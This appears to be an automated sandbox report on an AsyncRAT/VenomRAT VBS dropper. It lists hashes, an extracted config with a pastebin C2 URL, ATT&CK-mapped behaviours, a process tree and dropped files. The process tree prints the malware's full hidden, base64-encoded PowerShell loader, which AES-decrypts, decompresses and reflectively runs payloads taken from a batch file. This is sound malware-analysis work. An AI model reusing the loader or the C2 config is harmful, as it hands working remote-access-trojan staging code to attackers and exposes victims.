asyncrat | d28c3371542ec4275020001c02ae26f41d0a11109375cffee6d22f56b9fc5259

General

Target

d28c3371542ec4275020001c02ae26f41d0a11109375cffee6d22f56b9fc5259.vbs
Size

98KB
MD5

33e243596a995b134c3862d2746d3a3a
SHA1

dc51212190c79cd89cfb6a629e3f7299673fa003
SHA256

d28c3371542ec4275020001c02ae26f41d0a11109375cffee6d22f56b9fc5259
SHA512

545089424ea61e9c3871a75170d8695331bd991bf7fe8d10a5dd9a136db8b2015f9083faf86023c751550a9faa44ceb6ebfe5b6ae2d593d4261678eaa5a739c5
SSDEEP

1536:PxfjFMLSEGgcX4XTA66MrhZLVzsBjuBl6D584BuvQNkHGwhJiz1U8x8x0yCzkIXG:PxGfjjLVzsBKB+uvNHTAaw8CyWVG

Score

10^/10

asyncrat venomrat march logs discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

MARCH LOGS

Mutex

twgsnmvpigkpbmcqqk

Attributes

delay
1
install
false
install_folder
%AppData%
pastebin_config
https://pastebin.com/raw/93hjERwM

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/4764-36-0x00000000073F0000-0x0000000007408000-memory.dmp	VenomRAT

Venomrat family
venomrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/4764-36-0x00000000073F0000-0x0000000007408000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
26	4764	powershell.exe
27	4764	powershell.exe
29	4764	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4764	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_d66ba5d1.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_d66ba5d1.cmd	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	pastebin.com
26	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4764	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4764	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4100 wrote to memory of 1900	4100	WScript.exe	85
PID 4100 wrote to memory of 1900	4100	WScript.exe	85
PID 1900 wrote to memory of 3260	1900	cmd.exe	87
PID 1900 wrote to memory of 3260	1900	cmd.exe	87
PID 3260 wrote to memory of 4764	3260	cmd.exe	89
PID 3260 wrote to memory of 4764	3260	cmd.exe	89
PID 3260 wrote to memory of 4764	3260	cmd.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d28c3371542ec4275020001c02ae26f41d0a11109375cffee6d22f56b9fc5259.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8byJYfE.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\8byJYfE.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3260
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskbG95b28gPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGxveW9vKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRsb3lvbyIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRsb3lvbywgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkbG95b28iIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24geXB2anooJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0I1OTMwTk16K2RyZWpZMFNUbTcyRWlyazdtWUtyV0EzYkoxRmFyT2FtVmM9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2lDeUF0MytKQTFhQnNFeDliOWd6NGc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gdGl3cmkoJHBhcmFtX3Zhcil7CSR0em9oZz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkZGN4YWk9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkeHZ6ZnE9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkdHpvaGcsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHh2emZxLkNvcHlUbygkZGN4YWkpOwkkeHZ6ZnEuRGlzcG9zZSgpOwkkdHpvaGcuRGlzcG9zZSgpOwkkZGN4YWkuRGlzcG9zZSgpOwkkZGN4YWkuVG9BcnJheSgpO31mdW5jdGlvbiBucnRnbSgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGtyZWZ3PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGxidG5pPSRrcmVmdy5FbnRyeVBvaW50OwkkbGJ0bmkuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGxveW9vOyR2cmdqej1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGxveW9vKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkdWlrIGluICR2cmdqeikgewlpZiAoJHVpay5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGl3em14PSR1aWsuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JG9uZW15PVtzdHJpbmdbXV0kaXd6bXguU3BsaXQoJ1wnKTskdndkaXE9dGl3cmkgKHlwdmp6IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG9uZW15WzBdKSkpOyRqY2ZwYz10aXdyaSAoeXB2anogKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkb25lbXlbMV0pKSk7bnJ0Z20gJHZ3ZGlxICRudWxsO25ydGdtICRqY2ZwYyAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8byJYfE.bat

Filesize
88KB

MD5
3d0e294629c4b980cd16801696dc84cc

SHA1
24b01453f405ca41d30c484cc7ef72a2d082d54a

SHA256
d4f97ee756677f0c7e58b5528f4b70b58e8fd5c9929af6f9148d9e3c3df5ae2a

SHA512
f146cfe93b3bdd562542ef1150f81c0d8c3c852d78b770b77a47815e4b99005aba8e2a55134d6b7ed0be192402ca7b6ceb831e3b2bc66a599a20eb15c6e5ea5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_velhq5vq.rom.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4764-29-0x0000000006DD0000-0x0000000006DF2000-memory.dmp

Filesize
136KB

Download
memory/4764-32-0x00000000071F0000-0x0000000007282000-memory.dmp

Filesize
584KB

Download
memory/4764-9-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-10-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-11-0x0000000004F10000-0x0000000004F32000-memory.dmp

Filesize
136KB

Download
memory/4764-12-0x0000000005610000-0x0000000005676000-memory.dmp

Filesize
408KB

Download
memory/4764-13-0x0000000005680000-0x00000000056E6000-memory.dmp

Filesize
408KB

Download
memory/4764-7-0x00000000027F0000-0x0000000002826000-memory.dmp

Filesize
216KB

Download
memory/4764-23-0x00000000058A0000-0x0000000005BF4000-memory.dmp

Filesize
3.3MB

Download
memory/4764-24-0x0000000005DB0000-0x0000000005DCE000-memory.dmp

Filesize
120KB

Download
memory/4764-25-0x0000000005E00000-0x0000000005E4C000-memory.dmp

Filesize
304KB

Download
memory/4764-26-0x0000000007510000-0x0000000007B8A000-memory.dmp

Filesize
6.5MB

Download
memory/4764-27-0x0000000006300000-0x000000000631A000-memory.dmp

Filesize
104KB

Download
memory/4764-28-0x0000000006E90000-0x0000000006F26000-memory.dmp

Filesize
600KB

Download
memory/4764-8-0x0000000004F70000-0x0000000005598000-memory.dmp

Filesize
6.2MB

Download
memory/4764-6-0x000000007503E000-0x000000007503F000-memory.dmp

Filesize
4KB

Download
memory/4764-34-0x00000000071D0000-0x00000000071E2000-memory.dmp

Filesize
72KB

Download
memory/4764-33-0x00000000071C0000-0x00000000071C8000-memory.dmp

Filesize
32KB

Download
memory/4764-30-0x0000000007B90000-0x0000000008134000-memory.dmp

Filesize
5.6MB

Download
memory/4764-36-0x00000000073F0000-0x0000000007408000-memory.dmp

Filesize
96KB

Download
memory/4764-38-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-39-0x00000000083E0000-0x00000000083EA000-memory.dmp

Filesize
40KB

Download
memory/4764-40-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-43-0x0000000008570000-0x000000000860C000-memory.dmp

Filesize
624KB

Download
memory/4764-44-0x000000007503E000-0x000000007503F000-memory.dmp

Filesize
4KB

Download
memory/4764-45-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-46-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-48-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-49-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-50-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-52-0x0000000075030000-0x00000000757E0000-memory.dmp

Filesize
7.7MB

Download

Analysis

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